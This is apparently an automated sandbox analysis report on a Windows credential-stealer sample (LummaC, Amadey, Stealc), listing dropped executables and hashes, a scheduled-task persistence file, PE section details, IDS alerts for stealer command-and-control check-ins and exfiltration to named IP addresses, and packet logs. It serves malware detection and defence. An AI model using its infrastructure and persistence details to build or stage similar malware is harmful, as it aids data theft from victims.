C:\Users\user\AppData\Local\Temp\YWOWNOLHBZPH3EQJI2TZBTF4JYVOK5.exe	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	226
Entropy (8bit):	5.360398796477698
Encrypted:	false
SSDEEP:	6:Q3La/xw5DLIP12MUAvvR+uTL2ql2ABgTv:Q3La/KDLI4MWuPTAv
MD5:	3A8957C6382192B71471BD14359D0B12
SHA1:	71B96C965B65A051E7E7D10F61BEBD8CCBB88587
SHA-256:	282FBEFDDCFAA0A9DBDEE6E123791FC4B8CB870AE9D450E6394D2ACDA3D8F56D
SHA-512:	76C108641F682F785A97017728ED51565C4F74B61B24E190468E3A2843FCC43615C6C8ABE298750AF238D7A44E97C001E3BE427B49900432F905A7CE114AA9AD
Malicious:	false
Reputation:	high, very likely benign file
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..

C:\Users\user\AppData\Local\Temp\08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2751488
Entropy (8bit):	6.469919891214344
Encrypted:	false
SSDEEP:	49152:dGJNNLemoegfcJ4405oXo/2gF4wsOFCEYaI5:dGJNNCmoegw44/4/LCeFC2I
MD5:	CFCC3E3407A3566A9706B31DEB9C320E
SHA1:	3CC204ED82422B298022D88957B3DAC27DA8B6F9
SHA-256:	7486F4AF6FFF983F08328FCBFB69811415B76023481067BF6DCA1B8C6B883665
SHA-512:	E340436C80B378A6912F1512A9F06C3C2C7D623ECEE18DB64BC46BFCA703F06B9EE2E0753DB16CF7D3938233C9E292D323D732E85E56D37A96CA2C615CD62FF2
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	low
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P(,e.........."...0..$...........`.. ...`....@.. ..................................`.................................U...i....`.............................................................................................................. . .@... ....... ..............@....rsrc........`.......2..............@....idata . ...........8..............@...oqnpedhk..).......)..:..............@...qseuxiwn. ...@.......).............@....taggant.@...`*.."....).............@...................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\YWOWNOLHBZPH3EQJI2TZBTF4JYVOK5.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1915904
Entropy (8bit):	7.949486002748302
Encrypted:	false
SSDEEP:	24576:8vixuf9T0s3zRiTdAFLt0tKOvopSi1RCThi2kh/Qa4xFhLhyxTX03yVhACibn7B6:Dxuf9TTgd2t0ta4oRCI2kh/4NwhV2B6
MD5:	5F38C4D8D82BD75C9E66E4D5DC7FA257
SHA1:	02A227A6C0089EC14DC6D44D878F4C90C577B401
SHA-256:	A7A7406A24DA06B80D7C77021E731764A8217296B0B3E3B9730A2976B3218E66
SHA-512:	1AF0B2FB5454B1BBA00516C46053880EBC83D9CF5498CB093BDB68177973DD582FE7A3E3BE981254F029DB132B65B4F715DFDB5E8461AA36F1190063AC27074C
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f.............................`L...........@...........................L......D....@.................................W...k............................@L.............................8@L..................................................... . ............................@....rsrc...............................@....idata ............................@... .p+.........................@...dqejjcio.0... 2.."..................@...gfikdque.....PL.....................@....taggant.0...`L.."..................@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\YWOWNOLHBZPH3EQJI2TZBTF4JYVOK5.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1915904
Entropy (8bit):	7.949486002748302
Encrypted:	false
SSDEEP:	24576:8vixuf9T0s3zRiTdAFLt0tKOvopSi1RCThi2kh/Qa4xFhLhyxTX03yVhACibn7B6:Dxuf9TTgd2t0ta4oRCI2kh/4NwhV2B6
MD5:	5F38C4D8D82BD75C9E66E4D5DC7FA257
SHA1:	02A227A6C0089EC14DC6D44D878F4C90C577B401
SHA-256:	A7A7406A24DA06B80D7C77021E731764A8217296B0B3E3B9730A2976B3218E66
SHA-512:	1AF0B2FB5454B1BBA00516C46053880EBC83D9CF5498CB093BDB68177973DD582FE7A3E3BE981254F029DB132B65B4F715DFDB5E8461AA36F1190063AC27074C
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f.............................`L...........@...........................L......D....@.................................W...k............................@L.............................8@L..................................................... . ............................@....rsrc...............................@....idata ............................@... .p+.........................@...dqejjcio.0... 2.."..................@...gfikdque.....PL.....................@....taggant.0...`L.."..................@...................................................................................................................................................................................................................

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\AppData\Local\Temp\YWOWNOLHBZPH3EQJI2TZBTF4JYVOK5.exe
File Type:	data
Category:	dropped
Size (bytes):	302
Entropy (8bit):	3.422981892786974
Encrypted:	false
SSDEEP:	6:z3PtXUhXUEZ+lX1CGdKUe6tE9+AQy0lPit0:zZ4Q1CGAFD9+nVPit0
MD5:	4C6970E198FE46A2C14712BBE7BABFB5
SHA1:	E4B5BB1C4CBDB6458AAFCB7627B3E2FC8374A412
SHA-256:	9C78A0366E8B6BAEF9E80B0B38C794B6EF6FAEF7190E09034A077F828A564E83
SHA-512:	40F1C53CF31A9FECC4662C337E01CB300FCA78A7A8E37963D23B8A93177144EAE7474490F3B568AA70E912D7A279A7410054D9CA81072301BFB288FDB8DC89F2
Malicious:	false
Preview:	......t..N..5+..yF.......<... .....s.......... ....................;.C.:.\.U.s.e.r.s.\.e.n.g.i.n.e.e.r.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........E.N.G.I.N.E.E.R.-.P.C.\.e.n.g.i.n.e.e.r...................0...................@3P.........................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.498560818638765
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	2'930'688 bytes
MD5:	ce30c177c983f9a8ef192452d20075e8
SHA1:	d9df14950e3f2759588644c5a94420195f0e23f0
SHA256:	f4ca8cc8cf400fa51bd89e100cdb438f5707fbaf148bacf27a2e4d9af8306188
SHA512:	915539371009416b0f93fd59fea695eb523d3ab8ec7481de4387d9b62eb6e9f4de44d56351d5859b6aac222bf8acbdd600e9457582ffa2478a794ebd008131aa
SSDEEP:	24576:s7aSfEL0z8tIG2fcgrM3CafXGljwmZr5QCfuj7F6Nzpw/VENe4O8u4kmRBiki:sGVvZPyaf2ljPA7F6o4OGRBji
TLSH:	B9D54A52B40876DBD08E577684A7CD839D9D07FE8F1209C3986DA4BEBDA3DC019B6C24
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...S..g.................J............/...........@.........................../.....H.,...@.................................T...h..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x6fc000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x6715D353 [Mon Oct 21 04:06:43 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007FCDDC5133CAh
setbe byte ptr [eax+eax]
add byte ptr [eax], al
add byte ptr [eax], al
jmp 00007FCDDC5153C5h
add byte ptr [edx], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add dword ptr [eax], eax
add byte ptr [eax], al
add byte ptr [edx+ecx], al
add byte ptr [eax], al
add cl, byte ptr [edx]
add byte ptr [eax], al
or ecx, dword ptr [edx]
add byte ptr [eax], al
add dword ptr [edx], ecx
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add ecx, dword ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [eax+00000000h], eax
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
push es
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x5a054	0x68	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x59000	0x340	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x5a1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x58000	0x27e00	b152213d68044edd53f4f4c4a58fa23d	False	0.9980836108934169	data	7.982439442105867	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x59000	0x340	0x400	914cd139a383496d0085d499d138ef92	False	0.390625	data	4.997389973748798	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x5a000	0x1000	0x200	555a11fa24a077379003c187d9c9d020	False	0.14453125	data	0.9996515881509258	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
sqhbpttq	0x5b000	0x2a0000	0x29fe00	306c0d675acbbc0a71da7263364bcdbf	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
eaurdqdn	0x2fb000	0x1000	0x400	e022757001db4be50cee918520f7a7e5	False	0.734375	data	5.921917711884845	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x2fc000	0x3000	0x2200	c93e15cd82267d4aad1de98ec2950473	False	0.06548713235294118	DOS executable (COM)	0.8006760881213146	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x59058	0x2e6	XML 1.0 document, ASCII text, with CRLF line terminators			0.45417789757412397

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-29T20:43:51.344945+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.6	49710	188.114.96.3	443	TCP
2024-10-29T20:43:51.344945+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49710	188.114.96.3	443	TCP
2024-10-29T20:43:52.860650+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.6	49711	188.114.96.3	443	TCP
2024-10-29T20:43:52.860650+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49711	188.114.96.3	443	TCP
2024-10-29T20:44:27.943876+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.6	49713	188.114.96.3	443	TCP
2024-10-29T20:44:51.192603+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	62421	188.114.96.3	443	TCP
2024-10-29T20:44:52.111455+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.6	62422	185.215.113.16	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 29, 2024 20:43:50.117487907 CET	49710	443	192.168.2.6	188.114.96.3
Oct 29, 2024 20:43:50.117511034 CET	443	49710	188.114.96.3	192.168.2.6
Oct 29, 2024 20:43:50.117594957 CET	49710	443	192.168.2.6	188.114.96.3
Oct 29, 2024 20:43:50.143268108 CET	49710	443	192.168.2.6	188.114.96.3
Oct 29, 2024 20:43:50.143285036 CET	443	49710	188.114.96.3	192.168.2.6
Oct 29, 2024 20:43:50.802951097 CET	443	49710	188.114.96.3	192.168.2.6
Oct 29, 2024 20:43:50.803113937 CET	49710	443	192.168.2.6	188.114.96.3
Oct 29, 2024 20:43:50.805396080 CET	49710	443	192.168.2.6	188.114.96.3
Oct 29, 2024 20:43:50.805406094 CET	443	49710	188.114.96.3	192.168.2.6
Oct 29, 2024 20:43:50.805705070 CET	443	49710	188.114.96.3	192.168.2.6
Oct 29, 2024 20:43:50.848090887 CET	49710	443	192.168.2.6	188.114.96.3
Oct 29, 2024 20:43:50.885143995 CET	49710	443	192.168.2.6	188.114.96.3
Oct 29, 2024 20:43:50.885189056 CET	49710	443	192.168.2.6	188.114.96.3
Oct 29, 2024 20:43:50.885309935 CET	443	49710	188.114.96.3	192.168.2.6
Oct 29, 2024 20:43:51.344975948 CET	443	49710	188.114.96.3	192.168.2.6
Oct 29, 2024 20:43:51.345130920 CET	443	49710	188.114.96.3	192.168.2.6
Oct 29, 2024 20:43:51.345206976 CET	49710	443	192.168.2.6	188.114.96.3
Oct 29, 2024 20:43:51.374166012 CET	49710	443	192.168.2.6	188.114.96.3
Oct 29, 2024 20:43:51.374198914 CET	443	49710	188.114.96.3	192.168.2.6
Oct 29, 2024 20:43:51.374217033 CET	49710	443	192.168.2.6	188.114.96.3
Oct 29, 2024 20:43:51.374222994 CET	443	49710	188.114.96.3	192.168.2.6
Oct 29, 2024 20:43:51.779903889 CET	49711	443	192.168.2.6	188.114.96.3
Oct 29, 2024 20:43:51.779941082 CET	443	49711	188.114.96.3	192.168.2.6
Oct 29, 2024 20:43:51.780000925 CET	49711	443	192.168.2.6	188.114.96.3
Oct 29, 2024 20:43:51.780417919 CET	49711	443	192.168.2.6	188.114.96.3
Oct 29, 2024 20:43:51.780430079 CET	443	49711	188.114.96.3	192.168.2.6
Oct 29, 2024 20:43:52.395756006 CET	443	49711	188.114.96.3	192.168.2.6
Oct 29, 2024 20:43:52.395906925 CET	49711	443	192.168.2.6	188.114.96.3
Oct 29, 2024 20:43:52.397414923 CET	49711	443	192.168.2.6	188.114.96.3
Oct 29, 2024 20:43:52.397440910 CET	443	49711	188.114.96.3	192.168.2.6
Oct 29, 2024 20:43:52.397850990 CET	443	49711	188.114.96.3	192.168.2.6
Oct 29, 2024 20:43:52.399879932 CET	49711	443	192.168.2.6	188.114.96.3
Oct 29, 2024 20:43:52.399899006 CET	49711	443	192.168.2.6	188.114.96.3
Oct 29, 2024 20:43:52.399971008 CET	443	49711	188.114.96.3	192.168.2.6
Oct 29, 2024 20:43:52.860693932 CET	443	49711	188.114.96.3	192.168.2.6
Oct 29, 2024 20:43:52.860795975 CET	443	49711	188.114.96.3	192.168.2.6
Oct 29, 2024 20:43:52.860843897 CET	443	49711	188.114.96.3	192.168.2.6
Oct 29, 2024 20:43:52.860863924 CET	49711	443	192.168.2.6	188.114.96.3
Oct 29, 2024 20:43:52.860882998 CET	443	49711	188.114.96.3	192.168.2.6
Oct 29, 2024 20:43:52.860929966 CET	49711	443	192.168.2.6	188.114.96.3
Oct 29, 2024 20:43:52.860937119 CET	443	49711	188.114.96.3	192.168.2.6
Oct 29, 2024 20:43:52.861001015 CET	443	49711	188.114.96.3	192.168.2.6
Oct 29, 2024 20:43:52.861046076 CET	49711	443	192.168.2.6	188.114.96.3
Oct 29, 2024 20:43:52.861052990 CET	443	49711	188.114.96.3	192.168.2.6
Oct 29, 2024 20:43:52.861390114 CET	443	49711	188.114.96.3	192.168.2.6
Oct 29, 2024 20:43:52.861442089 CET	49711	443	192.168.2.6	188.114.96.3
Oct 29, 2024 20:43:52.861450911 CET	443	49711	188.114.96.3	192.168.2.6
Oct 29, 2024 20:43:52.910625935 CET	49711	443	192.168.2.6	188.114.96.3
Oct 29, 2024 20:43:52.910640955 CET	443	49711	188.114.96.3	192.168.2.6
Oct 29, 2024 20:43:52.957447052 CET	49711	443	192.168.2.6	188.114.96.3
Oct 29, 2024 20:43:52.977545977 CET	443	49711	188.114.96.3	192.168.2.6
Oct 29, 2024 20:43:52.977648020 CET	443	49711	188.114.96.3	192.168.2.6
Oct 29, 2024 20:43:52.977694988 CET	443	49711	188.114.96.3	192.168.2.6
Oct 29, 2024 20:43:52.977698088 CET	49711	443	192.168.2.6	188.114.96.3
Oct 29, 2024 20:43:52.977713108 CET	443	49711	188.114.96.3	192.168.2.6
Oct 29, 2024 20:43:52.977771044 CET	49711	443	192.168.2.6	188.114.96.3
Oct 29, 2024 20:43:52.977849007 CET	443	49711	188.114.96.3	192.168.2.6
Oct 29, 2024 20:43:52.978009939 CET	443	49711	188.114.96.3	192.168.2.6
Oct 29, 2024 20:43:52.978064060 CET	49711	443	192.168.2.6	188.114.96.3
Oct 29, 2024 20:43:52.978161097 CET	49711	443	192.168.2.6	188.114.96.3
Oct 29, 2024 20:43:52.978176117 CET	443	49711	188.114.96.3	192.168.2.6
Oct 29, 2024 20:43:52.978185892 CET	49711	443	192.168.2.6	188.114.96.3
Oct 29, 2024 20:43:52.978192091 CET	443	49711	188.114.96.3	192.168.2.6
Oct 29, 2024 20:43:53.088789940 CET	49713	443	192.168.2.6	188.114.96.3
Oct 29, 2024 20:43:53.088846922 CET	443	49713	188.114.96.3	192.168.2.6
Oct 29, 2024 20:43:53.088918924 CET	49713	443	192.168.2.6	188.114.96.3
Oct 29, 2024 20:43:53.089268923 CET	49713	443	192.168.2.6	188.114.96.3
Oct 29, 2024 20:43:53.089282990 CET	443	49713	188.114.96.3	192.168.2.6
Oct 29, 2024 20:43:53.703216076 CET	443	49713	188.114.96.3	192.168.2.6
Oct 29, 2024 20:43:53.703349113 CET	49713	443	192.168.2.6	188.114.96.3
Oct 29, 2024 20:43:53.704705954 CET	49713	443	192.168.2.6	188.114.96.3
Oct 29, 2024 20:43:53.704744101 CET	443	49713	188.114.96.3	192.168.2.6
Oct 29, 2024 20:43:53.705127954 CET	443	49713	188.114.96.3	192.168.2.6
Oct 29, 2024 20:43:53.706429005 CET	49713	443	192.168.2.6	188.114.96.3
Oct 29, 2024 20:43:53.706588984 CET	49713	443	192.168.2.6	188.114.96.3
Oct 29, 2024 20:43:53.706625938 CET	443	49713	188.114.96.3	192.168.2.6
Oct 29, 2024 20:44:27.943859100 CET	443	49713	188.114.96.3	192.168.2.6
Oct 29, 2024 20:44:27.943948030 CET	443	49713	188.114.96.3	192.168.2.6
Oct 29, 2024 20:44:27.944014072 CET	49713	443	192.168.2.6	188.114.96.3
Oct 29, 2024 20:44:27.951354980 CET	49713	443	192.168.2.6	188.114.96.3
Oct 29, 2024 20:44:27.951365948 CET	443	49713	188.114.96.3	192.168.2.6
Oct 29, 2024 20:44:28.398967028 CET	57109	443	192.168.2.6	188.114.96.3
Oct 29, 2024 20:44:28.399022102 CET	443	57109	188.114.96.3	192.168.2.6
Oct 29, 2024 20:44:28.399091005 CET	57109	443	192.168.2.6	188.114.96.3
Oct 29, 2024 20:44:28.399398088 CET	57109	443	192.168.2.6	188.114.96.3
Oct 29, 2024 20:44:28.399414062 CET	443	57109	188.114.96.3	192.168.2.6
Oct 29, 2024 20:44:29.010252953 CET	443	57109	188.114.96.3	192.168.2.6
Oct 29, 2024 20:44:29.010410070 CET	57109	443	192.168.2.6	188.114.96.3
Oct 29, 2024 20:44:29.012229919 CET	57109	443	192.168.2.6	188.114.96.3
Oct 29, 2024 20:44:29.012258053 CET	443	57109	188.114.96.3	192.168.2.6
Oct 29, 2024 20:44:29.012520075 CET	443	57109	188.114.96.3	192.168.2.6
Oct 29, 2024 20:44:29.021645069 CET	57109	443	192.168.2.6	188.114.96.3
Oct 29, 2024 20:44:29.021810055 CET	57109	443	192.168.2.6	188.114.96.3
Oct 29, 2024 20:44:29.021852016 CET	443	57109	188.114.96.3	192.168.2.6
Oct 29, 2024 20:44:29.021929979 CET	57109	443	192.168.2.6	188.114.96.3
Oct 29, 2024 20:44:29.021946907 CET	443	57109	188.114.96.3	192.168.2.6
Oct 29, 2024 20:44:29.587462902 CET	443	57109	188.114.96.3	192.168.2.6
Oct 29, 2024 20:44:29.587568045 CET	443	57109	188.114.96.3	192.168.2.6
Oct 29, 2024 20:44:29.587631941 CET	57109	443	192.168.2.6	188.114.96.3
Oct 29, 2024 20:44:29.587718964 CET	57109	443	192.168.2.6	188.114.96.3
Oct 29, 2024 20:44:29.587764978 CET	443	57109	188.114.96.3	192.168.2.6
Oct 29, 2024 20:44:30.129187107 CET	57119	443	192.168.2.6	188.114.96.3
Oct 29, 2024 20:44:30.129242897 CET	443	57119	188.114.96.3	192.168.2.6
Oct 29, 2024 20:44:30.129380941 CET	57119	443	192.168.2.6	188.114.96.3
Oct 29, 2024 20:44:30.129791975 CET	57119	443	192.168.2.6	188.114.96.3
Oct 29, 2024 20:44:30.129807949 CET	443	57119	188.114.96.3	192.168.2.6
Oct 29, 2024 20:44:30.742588043 CET	443	57119	188.114.96.3	192.168.2.6
Oct 29, 2024 20:44:30.742666960 CET	57119	443	192.168.2.6	188.114.96.3
Oct 29, 2024 20:44:30.762881041 CET	57119	443	192.168.2.6	188.114.96.3
Oct 29, 2024 20:44:30.762900114 CET	443	57119	188.114.96.3	192.168.2.6
Oct 29, 2024 20:44:30.763257027 CET	443	57119	188.114.96.3	192.168.2.6
Oct 29, 2024 20:44:30.768433094 CET	57119	443	192.168.2.6	188.114.96.3
Oct 29, 2024 20:44:30.772527933 CET	57119	443	192.168.2.6	188.114.96.3
Oct 29, 2024 20:44:30.772566080 CET	443	57119	188.114.96.3	192.168.2.6
Oct 29, 2024 20:44:30.772844076 CET	57119	443	192.168.2.6	188.114.96.3
Oct 29, 2024 20:44:30.772852898 CET	443	57119	188.114.96.3	192.168.2.6
Oct 29, 2024 20:44:31.715594053 CET	443	57119	188.114.96.3	192.168.2.6
Oct 29, 2024 20:44:31.715691090 CET	443	57119	188.114.96.3	192.168.2.6
Oct 29, 2024 20:44:31.715747118 CET	57119	443	192.168.2.6	188.114.96.3
Oct 29, 2024 20:44:31.715848923 CET	57119	443	192.168.2.6	188.114.96.3
Oct 29, 2024 20:44:31.715867043 CET	443	57119	188.114.96.3	192.168.2.6
Oct 29, 2024 20:44:32.406862974 CET	57134	443	192.168.2.6	188.114.96.3
Oct 29, 2024 20:44:32.406909943 CET	443	57134	188.114.96.3	192.168.2.6
Oct 29, 2024 20:44:32.406979084 CET	57134	443	192.168.2.6	188.114.96.3
Oct 29, 2024 20:44:32.407330990 CET	57134	443	192.168.2.6	188.114.96.3
Oct 29, 2024 20:44:32.407345057 CET	443	57134	188.114.96.3	192.168.2.6
Oct 29, 2024 20:44:33.060576916 CET	443	57134	188.114.96.3	192.168.2.6
Oct 29, 2024 20:44:33.060683012 CET	57134	443	192.168.2.6	188.114.96.3
Oct 29, 2024 20:44:33.062355995 CET	57134	443	192.168.2.6	188.114.96.3
Oct 29, 2024 20:44:33.062366009 CET	443	57134	188.114.96.3	192.168.2.6
Oct 29, 2024 20:44:33.062654972 CET	443	57134	188.114.96.3	192.168.2.6
Oct 29, 2024 20:44:33.063983917 CET	57134	443	192.168.2.6	188.114.96.3
Oct 29, 2024 20:44:33.064117908 CET	57134	443	192.168.2.6	188.114.96.3
Oct 29, 2024 20:44:33.064125061 CET	443	57134	188.114.96.3	192.168.2.6
Oct 29, 2024 20:44:45.989028931 CET	57134	443	192.168.2.6	188.114.96.3
Oct 29, 2024 20:44:46.539704084 CET	62420	443	192.168.2.6	188.114.96.3
Oct 29, 2024 20:44:46.539741993 CET	443	62420	188.114.96.3	192.168.2.6
Oct 29, 2024 20:44:46.539875984 CET	62420	443	192.168.2.6	188.114.96.3
Oct 29, 2024 20:44:46.540267944 CET	62420	443	192.168.2.6	188.114.96.3
Oct 29, 2024 20:44:46.540282011 CET	443	62420	188.114.96.3	192.168.2.6
Oct 29, 2024 20:44:47.211988926 CET	443	62420	188.114.96.3	192.168.2.6
Oct 29, 2024 20:44:47.212137938 CET	62420	443	192.168.2.6	188.114.96.3
Oct 29, 2024 20:44:47.213407993 CET	62420	443	192.168.2.6	188.114.96.3
Oct 29, 2024 20:44:47.213418961 CET	443	62420	188.114.96.3	192.168.2.6
Oct 29, 2024 20:44:47.213665962 CET	443	62420	188.114.96.3	192.168.2.6
Oct 29, 2024 20:44:47.215301991 CET	62420	443	192.168.2.6	188.114.96.3
Oct 29, 2024 20:44:47.216058969 CET	62420	443	192.168.2.6	188.114.96.3
Oct 29, 2024 20:44:47.216090918 CET	443	62420	188.114.96.3	192.168.2.6
Oct 29, 2024 20:44:47.216195107 CET	62420	443	192.168.2.6	188.114.96.3
Oct 29, 2024 20:44:47.216224909 CET	443	62420	188.114.96.3	192.168.2.6
Oct 29, 2024 20:44:47.216330051 CET	62420	443	192.168.2.6	188.114.96.3
Oct 29, 2024 20:44:47.216360092 CET	443	62420	188.114.96.3	192.168.2.6
Oct 29, 2024 20:44:47.216711998 CET	62420	443	192.168.2.6	188.114.96.3
Oct 29, 2024 20:44:47.216742992 CET	443	62420	188.114.96.3	192.168.2.6
Oct 29, 2024 20:44:47.217098951 CET	62420	443	192.168.2.6	188.114.96.3
Oct 29, 2024 20:44:47.217133045 CET	443	62420	188.114.96.3	192.168.2.6
